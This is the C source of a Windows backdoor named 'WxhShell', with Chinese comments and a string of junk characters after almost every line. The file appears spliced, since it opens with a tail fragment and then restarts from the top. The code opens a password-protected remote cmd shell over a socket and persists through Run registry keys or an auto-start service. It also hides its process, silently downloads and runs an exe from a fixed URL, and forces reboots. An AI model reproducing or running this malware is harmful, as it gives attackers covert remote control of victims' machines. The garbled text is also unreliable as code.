    closesocket(wsh); A$RN7#  
    ExitThread(0); Ms*;?qtrR  
    } *xs8/?  
    break; ~BVg#_P  
    } 7 :s6W%W1*  
  // 关机 DTdL|x.{  
  case 'd': { _Y*: l7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G! uQ|<(  
    if(Boot(SHUTDOWN)) G}<q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Gn(b 1X  
    else { 35yhe:$nf  
    closesocket(wsh); ;o\0:fzr  
    ExitThread(0); (r,RwWYm  
    } #jV6w=I  
    break; Mi\f?  
    } S8" h9|  
  // 获取shell S<Q6b_D  
  case 's': { >P5 EW!d  
    CmdShell(wsh); Dyp'a  
    closesocket(wsh); -aGv#!aIl  
    ExitThread(0); FXFQ@q*}v  
    break; YTq>K/  
  } uH]n/Kv1,  
  // 退出 /Mf45U<  
  case 'x': { L iJ;A*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); io:?JnQSA  
    CloseIt(wsh); Gq;0j:?CC  
    break; 6^['g-\2  
    } KhZ'Ic[vw  
  // 离开 7,|-%!p[  
  case 'q': { KoQvC=+WI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nF}]W14x  
    closesocket(wsh); cGC&O%`i,\  
    WSACleanup(); A 20_a;V  
    exit(1); n$}c+1   
    break; a2iaP  
        } jHB,r^:'  
  } w IT`OT6Q  
  } qwA: o-q"  
Zx5vIm  
  // 提示信息 4 !~JNO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;4XX8W1  
} XLFJ?$)Tro  
  } ~@R=]l"  
\VPU)  
  return; +(r8SnRX  
} jKQnox+=  
T:wd3^.CG  
// shell模块句柄 eUqsvF}l!  
int CmdShell(SOCKET sock) -BACdX  
{ H"I|dK:  
STARTUPINFO si; )T?w,"kI  
ZeroMemory(&si,sizeof(si)); LPT5d 7K@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k$o6~u 2&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [m!\ZK  
PROCESS_INFORMATION ProcessInfo; ~z>2`^Z"  
char cmdline[]="cmd"; RsVba!x@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \I#2Mq?  
  return 0; LtH;#Q  
} Yk<?HNf  
Tb}`]Y`X  
// 自身启动模式 V# w$|B\  
int StartFromService(void) o?^j1\^  
{ IcPIOCmOc  
typedef struct Cb.~Dv !  
{ y"!+Fus9  
  DWORD ExitStatus; V}7I? G  
  DWORD PebBaseAddress; ngEjbCV+  
  DWORD AffinityMask; \8Fe56  
  DWORD BasePriority; sh}=#eb  
  ULONG UniqueProcessId; kY xn5+~  
  ULONG InheritedFromUniqueProcessId; Vjj30f  
}   PROCESS_BASIC_INFORMATION; 6E@r9U  
&^qD<eZ!Eq  
PROCNTQSIP NtQueryInformationProcess; #)=P/N1  
lGjmw"/C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hc^b}A y7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uh?SDay  
T -C2V$1  
  HANDLE             hProcess; T\8|Q @  
  PROCESS_BASIC_INFORMATION pbi; ,+,""t  
49_b)K.tB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ] 2FS=  
  if(NULL == hInst ) return 0; "]5]"F4]  
hRxR2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )"A+T&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C#>c(-p>RC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zWB>;Z}  
\|DcWH1  
  if (!NtQueryInformationProcess) return 0; 292e0cE  
&c ayhL/%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `<y2l94tL  
  if(!hProcess) return 0; |53Zg"!  
TS$ 2K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q>JJI:uC4  
:%xiH%C>  
  CloseHandle(hProcess); M*8Ef^-U`t  
/S\P=lcb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1/6G&RB  
if(hProcess==NULL) return 0; vy1:>N?#5  
Po(9BRd7  
HMODULE hMod; gAgzM?A1(  
char procName[255]; noOG$P#  
unsigned long cbNeeded; @\z2FJ79w  
bb+-R_3Kd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >=6tfLQ  
 yYp!s  
  CloseHandle(hProcess); e<9IwS!/  
JQi)6A?J  
if(strstr(procName,"services")) return 1; // 以服务启动 RBwI*~%g{  
k1_f7_m  
  return 0; // 注册表启动 2^Q)~sSf9  
} DP &,jU6  
!m' lOz  
// 主模块 t_x \&+W  
int StartWxhshell(LPSTR lpCmdLine) )g9Zw_3  
{ [$;6LFs }  
  SOCKET wsl; pDCQ?VW  
BOOL val=TRUE; _CciU.1k&,  
  int port=0; 536H*HdN  
  struct sockaddr_in door; x<~ pqq8]  
j2=jD G  
  if(wscfg.ws_autoins) Install(); b,]h X  
^4_.5~(  
port=atoi(lpCmdLine); P< O[S  
o.k eM4OQ  
if(port<=0) port=wscfg.ws_port; +/-#yfn!TR  
NK$k9,  
  WSADATA data; ;l7wme8Qk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kDS4 t?Ig  
sD_Z`1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nRPy)L{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f,k'gM{K  
  door.sin_family = AF_INET; & LwR9\sh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pI,QkDJ0  
  door.sin_port = htons(port); TmoODG>@  
,L6d~>=41  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g"FG7E&  
closesocket(wsl); /3L1Un*  
return 1; w(eAmN:zR  
} iLws;3UX;x  
S c_*L<$  
  if(listen(wsl,2) == INVALID_SOCKET) { @F+4 NL-'P  
closesocket(wsl); a:XVu0`(  
return 1; #78p# E  
} .`)\GjDv  
  Wxhshell(wsl); .MXznz  
  WSACleanup(); '0p 5|[ZD  
py]m^)yc  
return 0; c'vxT<8fWW  
(es+VI2!&C  
} ic%<39  
3qXOsa7  
// 以NT服务方式启动 Nh^T,nv*l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {W)Kz_  
{ " 2Dz5L1v  
DWORD   status = 0; dpDVEEs84  
  DWORD   specificError = 0xfffffff; `|X E B  
[V|,O'X ~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C5CUMYU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IgI*mDS&b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j#f+0  
  serviceStatus.dwWin32ExitCode     = 0; N/p9Ws  
  serviceStatus.dwServiceSpecificExitCode = 0; xdd7OSc0{  
  serviceStatus.dwCheckPoint       = 0; 0~iC#lHO  
  serviceStatus.dwWaitHint       = 0; rr>QG<i;G  
iKnH6} `?U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r`qMif'  
  if (hServiceStatusHandle==0) return; w4Qqo(  
[2pp)wq  
status = GetLastError(); GvF8S MO[x  
  if (status!=NO_ERROR) '_lyoVP  
{ zH0%; o}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ >O4hifq  
    serviceStatus.dwCheckPoint       = 0; 9z$]hl  
    serviceStatus.dwWaitHint       = 0; WS/^WxRY  
    serviceStatus.dwWin32ExitCode     = status; n#uH^@#0  
    serviceStatus.dwServiceSpecificExitCode = specificError; /`Yy(?,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Q#;4  
    return; w},' 1  
  } DJ_,1F  
# =V%S 2~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I= G%r/3  
  serviceStatus.dwCheckPoint       = 0; u_;*Ay  
  serviceStatus.dwWaitHint       = 0; MUhC6s\F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w,bILv)  
} /;-KWu+5=  
|NJe4lw+?  
// 处理NT服务事件,比如:启动、停止 L(\sO=t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &tB|l_p_-p  
{ 4EQ7OGU  
switch(fdwControl) MqGF~h|+  
{ 1+~JGY#   
case SERVICE_CONTROL_STOP: L-hK(W!8pt  
  serviceStatus.dwWin32ExitCode = 0; x|d Xa0=N_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !rZO~a0  
  serviceStatus.dwCheckPoint   = 0; (~:k70V5  
  serviceStatus.dwWaitHint     = 0; guz{DBlK  
  { KE1S5Mck>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PVP,2Yq!  
  } Fq!12/Nn  
  return; Z4A a  
case SERVICE_CONTROL_PAUSE: 1sl^+)z8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J]UlCg  
  break; %_0,z`f  
case SERVICE_CONTROL_CONTINUE: S~d_SU~>`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I+Qv$#S/  
  break; w$n\`rQ  
case SERVICE_CONTROL_INTERROGATE: sOg@9-_Uh  
  break; S(9Xbw)T  
}; A%> Ir`I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )SQ*"X4"  
} ?BT\)@ h  
+6|Ys  
// 标准应用程序主函数 b Gq0k&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @=,2{JF*6  
{ )X@Obg  
@'C f<wns  
// 获取操作系统版本 {Z 3t0F  
OsIsNt=GetOsVer(); ;>QED  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RqgH,AN  
|:$D[=  
  // 从命令行安装 y3F13 Z@%  
  if(strpbrk(lpCmdLine,"iI")) Install(); [_hHZMTH  
@qmONQ eb  
  // 下载执行文件 TU&6\]yF_  
if(wscfg.ws_downexe) { -ZFeE[Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5JW+&XA  
  WinExec(wscfg.ws_filenam,SW_HIDE); `*cT79  
} CB<1]Z  
E{kh)-  
if(!OsIsNt) { AWHB^}!}  
// 如果时win9x,隐藏进程并且设置为注册表启动 e:hkWcV  
HideProc(); Mez;DKJ`  
StartWxhshell(lpCmdLine); &,4]XT  
} ^wPKqu)^  
else |Ak>kQJ(1z  
  if(StartFromService()) =]&?(Gq  
  // 以服务方式启动 LI_>fuv"8  
  StartServiceCtrlDispatcher(DispatchTable); }^Be^a<ub  
else Nr=ud QA{  
  // 普通方式启动 ;v'7l>w3\w  
  StartWxhshell(lpCmdLine); b/Y9fQ n  
:-ZE~b HJ  
return 0; p.^mOkpt  
} :_JZn`Cab  
;"SnCBt:>  
2|@@xF  
})!d4EcZf  
=========================================== G3n* bv  
/AV [g^x2  
qp 4.XL  
Hy5_iYP5  
C=(-oI n  
F+,X%$A#?  
" JW9^C  
,X(P/x{B  
#include <stdio.h> ((^jyQ  
#include <string.h> )QE7$|s  
#include <windows.h> *cx mQ  
#include <winsock2.h> 9+"D8J7  
#include <winsvc.h> Q W#]i  
#include <urlmon.h> r`XIn#o  
\s?OvqI:  
#pragma comment (lib, "Ws2_32.lib") V2sWcV?  
#pragma comment (lib, "urlmon.lib") !Rk1q&U5  
y ,isK  
#define MAX_USER   100 // 最大客户端连接数 `l@[8H%aw  
#define BUF_SOCK   200 // sock buffer "r @RDw   
#define KEY_BUFF   255 // 输入 buffer r/1:!Vu(  
gS4zX>rqe  
#define REBOOT     0   // 重启 A`<#}~A  
#define SHUTDOWN   1   // 关机 .o91^jt  
mbxJS_P  
#define DEF_PORT   5000 // 监听端口 s<gZB:~  
kK&tB  
#define REG_LEN     16   // 注册表键长度 q9.)p  
#define SVC_LEN     80   // NT服务名长度 IGv_s+O-*  
/]"&E"X"  
// 从dll定义API GY<ErS)2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jfa=#`    
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H`q" _p:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BT;hW7){9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L0uvRge  
y[[f?rxz>  
// wxhshell配置信息 'EU{%\qM  
struct WSCFG { j)ZvlRi,  
  int ws_port;         // 监听端口 ]#R'hL%f  
  char ws_passstr[REG_LEN]; // 口令 ?g| K"P<1  
  int ws_autoins;       // 安装标记, 1=yes 0=no v{`Z  
  char ws_regname[REG_LEN]; // 注册表键名 K y~ 9's  
  char ws_svcname[REG_LEN]; // 服务名 6l&m+!i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 & i"33.#]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jm&?;~>O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I2kqA5>)j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JbpKstc;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6cz%>@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =2uE\6Fl,  
(q`Jef  
}; 5r"BavA  
u\=gps/Z  
// default Wxhshell configuration !t "uNlN  
struct WSCFG wscfg={DEF_PORT, 11}sRu/  
    "xuhuanlingzhe", %AW5\ EX  
    1, $l-|abLELz  
    "Wxhshell", f gI.q  
    "Wxhshell", P`6 T;|VDk  
            "WxhShell Service", 75i M_e\  
    "Wrsky Windows CmdShell Service", b\NWDH7}  
    "Please Input Your Password: ", xb\(>7M6Y  
  1, =o;QvOS;  
  "http://www.wrsky.com/wxhshell.exe", -v?,{?$0  
  "Wxhshell.exe" &&$/>[0=.  
    }; zrk/}b0j  
5 EDHJU>  
// 消息定义模块 nR4L4tdS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GjZ@f nF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VaC#9Tp2X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3U<\y6/  
char *msg_ws_ext="\n\rExit."; 0h!2--Aur  
char *msg_ws_end="\n\rQuit."; BF8n: }9U  
char *msg_ws_boot="\n\rReboot..."; @_ ^QBw0  
char *msg_ws_poff="\n\rShutdown..."; %Y%+K5;AZ  
char *msg_ws_down="\n\rSave to "; }u cqzdk#2  
iKv`[k  
char *msg_ws_err="\n\rErr!"; C>7Mx{!H  
char *msg_ws_ok="\n\rOK!"; Gir_.yc/  
y@]4xLB]  
char ExeFile[MAX_PATH]; [W=%L:Ea  
int nUser = 0; IcZ_AIjlk  
HANDLE handles[MAX_USER]; ^% BD  
int OsIsNt; S`2MQL  
.vNfbYH(  
SERVICE_STATUS       serviceStatus; ka{9{/dz3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jpg_$~k  
&RRggPx"k  
// 函数声明 EceZ1b  
int Install(void); 1  6;l,@  
int Uninstall(void); * 2[&26D  
int DownloadFile(char *sURL, SOCKET wsh); mXlXB#N  
int Boot(int flag); AbUU#C7  
void HideProc(void); 8OH<ppi  
int GetOsVer(void); ASY uZ  
int Wxhshell(SOCKET wsl); -cyJj LL*  
void TalkWithClient(void *cs); $>v^%E;Y4  
int CmdShell(SOCKET sock); :i0xer  
int StartFromService(void); E#Ynn6  
int StartWxhshell(LPSTR lpCmdLine); OzBo *X/p  
+A W6 >yV`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?# >|P-4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~c ;7me.  
Jx-^WB  
// 数据结构和表定义 ]]o7ej  
SERVICE_TABLE_ENTRY DispatchTable[] = I5'^tBf[{  
{ 1mOZ\L!m*  
{wscfg.ws_svcname, NTServiceMain}, L6BHh_*E  
{NULL, NULL} iJ42` 51  
}; +;#hED; 8  
. )Fn]x"<  
// 自我安装 H:U1#bQQ:  
int Install(void) M7yJ2u<Ty  
{ M<7 <L   
  char svExeFile[MAX_PATH]; Bx E1Ky8@A  
  HKEY key; x)G/YUv76  
  strcpy(svExeFile,ExeFile); L3Ry#uw  
*Dh.'bB!  
// 如果是win9x系统,修改注册表设为自启动 T1PWFw\GH  
if(!OsIsNt) { <y*#[:i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8 /b_4!5c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *[ Wh9 ,H  
  RegCloseKey(key); W~W^$A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cgYMo{R3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9rB^)eV  
  RegCloseKey(key); Y~=5umNSX  
  return 0; h1fJ`WT6,  
    } )%;#~\A  
  } `]5XY8^kI  
} {eIE|   
else { PZLWyp  
] 5P{*  
// 如果是NT以上系统,安装为系统服务 'BAe>r_Pn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); po=*%Zs*T  
if (schSCManager!=0) >~BU<#  
{ XT>e/x9'  
  SC_HANDLE schService = CreateService C'n 9n!hR  
  ( N$Gx$u3Cd  
  schSCManager, b_V)]>v+  
  wscfg.ws_svcname, QI=SR  
  wscfg.ws_svcdisp, rC_K L  
  SERVICE_ALL_ACCESS, =eac,]31  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'ZT!a]4  
  SERVICE_AUTO_START, dq:M!F  
  SERVICE_ERROR_NORMAL, Btpx[T  
  svExeFile, q,u >`]}  
  NULL, Uj k``;  
  NULL, 5 F^,7A4I0  
  NULL, NWCnt,FlY  
  NULL, l[ @\!;|  
  NULL iCAd7=o  
  ); 0)ST_2Ci  
  if (schService!=0) W\} VZY  
  { A*E4hop[  
  CloseServiceHandle(schService); ,z%F="@b9  
  CloseServiceHandle(schSCManager); Crpk q/M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Om}&`AP};  
  strcat(svExeFile,wscfg.ws_svcname); 7Fy^K;V"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D>G&aQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _rs#h)  
  RegCloseKey(key); TlBLG.-^  
  return 0; /cI]Z^&  
    }  k[vn:  
  } v Z]gb$  
  CloseServiceHandle(schSCManager);  }O1F.5I1  
} r`<e vwIe  
} lq.0?(  
pQVi&(M  
return 1; WM@uxe,  
} <wE2ly&x  
Jr''S}@|x  
// 自我卸载 *D<sk7  
int Uninstall(void) 0-|1}/{4  
{ //LXbP3/  
  HKEY key; -\NB*|9m|  
'Y vW|Iq  
if(!OsIsNt) { 3\(s=- vh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /itO xrA  
  RegDeleteValue(key,wscfg.ws_regname); .}Zmqz[  
  RegCloseKey(key); ]/$tt@h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'rR\H2b   
  RegDeleteValue(key,wscfg.ws_regname); ;m`I}h<  
  RegCloseKey(key); }kOhwT8sI  
  return 0; klch!m=d  
  } J2 5>t^  
} (nE$};c<b2  
} wfZ 'T#1  
else { fA 3  
yS3x))  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sl$dXB@  
if (schSCManager!=0) pp{);  
{ U-lN_?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uq 6T|Zm  
  if (schService!=0) T.1z<l""  
  { 6=')*_~/  
  if(DeleteService(schService)!=0) { lA]u8+gXd  
  CloseServiceHandle(schService); )(ma  
  CloseServiceHandle(schSCManager); 9CN / v  
  return 0; 3Q;^X(Ml*  
  } huq6rA/i  
  CloseServiceHandle(schService); hCo&SRC/5  
  } JI*ikco-  
  CloseServiceHandle(schSCManager); F2:7UNy,  
} u8W*_;%:  
} $ o t"Du  
DI&xTe9k  
return 1; )Z; Y,g  
} qC 6Q5F  
't|F}@HP  
// 从指定url下载文件 !tb RqW6v  
int DownloadFile(char *sURL, SOCKET wsh) lo(Ht=d  
{ Fza)dJ 7  
  HRESULT hr; @Td[rHl  
char seps[]= "/"; XsR%_eT  
char *token; +2?0]6EQ  
char *file; jOuv\$  
char myURL[MAX_PATH]; Y3Qq'FN!I  
char myFILE[MAX_PATH]; .(Pe1pe  
sO  
strcpy(myURL,sURL); FSBCk  
  token=strtok(myURL,seps); J-QQ!qa0  
  while(token!=NULL) ?"C]h s  
  { \E#r[9F{  
    file=token; &U,f~KJ  
  token=strtok(NULL,seps); UwM}!K7)G  
  } [7Kn$OfP  
sZbzY^P  
GetCurrentDirectory(MAX_PATH,myFILE); &x3"Rq_  
strcat(myFILE, "\\"); e;pNB  
strcat(myFILE, file); Dr2h-  
  send(wsh,myFILE,strlen(myFILE),0); CTI(Kh+  
send(wsh,"...",3,0); T,IV)aq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wM yPR_  
  if(hr==S_OK) n$P v2qw  
return 0; lLJb3[ e.  
else XWvs~Xw@  
return 1; 8bysg9H0  
}3*h`(Bv7  
} .*f;v4!  
>3kR~:;  
// 系统电源模块 bF Vd v&  
int Boot(int flag) 6d.m@T6~  
{ pvM8PlYo]`  
  HANDLE hToken; 000 $ZsW?  
  TOKEN_PRIVILEGES tkp; ~d%Q1F*,=  
m3XH3FgKz  
  if(OsIsNt) { (Q4_3<G+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +Va?wAnr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,-1$Vh@wM  
    tkp.PrivilegeCount = 1; GS$k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w|Mj8Lc+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e7?W VV,  
if(flag==REBOOT) { A,og9<+j-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'wZy: c  
  return 0; -'N#@Wdr  
} Nb8<8O ^  
else { %1<p1u'r?#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lcP@5ZW  
  return 0; N1Z8I:  
} N 4v)0  
  } 2(rZ@Wl  
  else { &B2c]GoW  
if(flag==REBOOT) { u}rot+)%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6f>l~$  
  return 0; YBCjcD[G  
} %<"11;0tp  
else { #,PAM.rH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "@?|Vv,vn  
  return 0; a "DV`jn  
} Q)@1:(V/  
} O1ha'@qID  
M+E5PZ|_  
return 1; &Kv evPF  
} wW<"l"x,  
<  t (Pw  
// win9x进程隐藏模块 ?|8Tgs@+  
void HideProc(void) d-<y'GYw  
{ h.9Lh ;j  
oe*&w9Y}&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yki k4MeB  
  if ( hKernel != NULL ) ^sOm7S{  
  { )eFFtnu5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PJYA5"}W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OT& E)eR  
    FreeLibrary(hKernel); M$W#Q\<*#r  
  } 4@V] zfu^Q  
5p|@)  
return; }>w  
} Ntn md  
4QN;o%,  
// 获取操作系统版本 Z :9VxZ  
int GetOsVer(void) j~E +6f \  
{ HV9SdJOf  
  OSVERSIONINFO winfo; SN{*:\>,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5An0D V5  
  GetVersionEx(&winfo); N Sh.g #  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H/3Zdj 9  
  return 1; \zI&n &T  
  else DqMK[N,0  
  return 0; Tb= {g;0 @  
} M96( Rg  
V0 F30rK  
// 客户端句柄模块 zn ?;>Bl  
int Wxhshell(SOCKET wsl) D;I`k L  
{ yUW&Wgc=:  
  SOCKET wsh; 9f^PR|F  
  struct sockaddr_in client; Inc:t_  
  DWORD myID; &a=e=nR5  
k2uiu  
  while(nUser<MAX_USER) U+"=  
{ `zp2;]W  
  int nSize=sizeof(client); rH9}nL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <s >/< kW:  
  if(wsh==INVALID_SOCKET) return 1; ]X~g@O{>_  
)h0E$*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SO<m(o)G2  
if(handles[nUser]==0) iHn!KV  
  closesocket(wsh); M91lV(Z   
else mrC+J*  
  nUser++; @6co\.bv  
  } ~J-|,ZMd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6eT'[Umx  
06^1#M$'  
  return 0; j 3MciQ`  
} nbASpa(  
Dum`o^l#  
// 关闭 socket bfJ`}xl(8  
void CloseIt(SOCKET wsh) 6rQpK&Jx  
{ v$m[#&O^V?  
closesocket(wsh); 0 BCGJFZ{  
nUser--; OJsd[l3xR  
ExitThread(0); m6r )Z5}f  
} XLmMK{gs  
o~x39  
// 客户端请求句柄 ~'2r&?=\  
void TalkWithClient(void *cs) bk wa{V  
{ [Hj'nA^  
qX+gG",8  
  SOCKET wsh=(SOCKET)cs; cvUut^CdK  
  char pwd[SVC_LEN]; A3$aMCwKd  
  char cmd[KEY_BUFF]; 8F^,8kIR  
char chr[1]; RF5q5<0  
int i,j; |R;l5ZKvV  
em1cc,  
  while (nUser < MAX_USER) { V`\f+Uu  
`cP'~OT  
if(wscfg.ws_passstr) { h Y}/Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v0C;j (2zb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?JgO-.  
  //ZeroMemory(pwd,KEY_BUFF); H_?B{We  
      i=0; hOB\n!  
  while(i<SVC_LEN) { eky(;%Sz  
r)p2'+}pV  
  // 设置超时 .ts0LDk0f  
  fd_set FdRead; 4`6c28K0?  
  struct timeval TimeOut; N<06sRg#  
  FD_ZERO(&FdRead); V(2,\+t  
  FD_SET(wsh,&FdRead); +^*5${g;@H  
  TimeOut.tv_sec=8; F@ $RV_M  
  TimeOut.tv_usec=0; _@!QY   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hs%QEvZl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); < m enABN4  
9Yl8n dP^E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a_{io`h3&  
  pwd=chr[0]; [vWkAJ'K  
  if(chr[0]==0xd || chr[0]==0xa) { `pi-zE)  
  pwd=0; t0bhXFaiE  
  break; abo>_"9-  
  } ~`2&'8  
  i++; u`Z0{d  
    } zr.+'  
.%?- As  
  // 如果是非法用户,关闭 socket H^D 3NuUC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TF=k(@9J?  
} 3qiJwo>  
q9^Y?`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rX33s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A mI>m  
hza> jR  
while(1) { fey*la Xq  
n @ &"+  
  ZeroMemory(cmd,KEY_BUFF); *BLe3dok(  
3vdu;W=Sz  
      // 自动支持客户端 telnet标准   :}@C9pqr2  
  j=0; 2.LJp}>  
  while(j<KEY_BUFF) { #zS1Z f^KP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =#i4MXRZ{  
  cmd[j]=chr[0]; 2W3NL|P  
  if(chr[0]==0xa || chr[0]==0xd) { ~=:2~$gsn  
  cmd[j]=0; Qj(vBo?D  
  break; kmlG3hOR,  
  } NoCDY2 $  
  j++; R9Sf!LR  
    } /l,+oG%\  
?P""KVp o  
  // 下载文件 {f+N]Oo*  
  if(strstr(cmd,"http://")) { /m `}f]u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s\'y-UITi1  
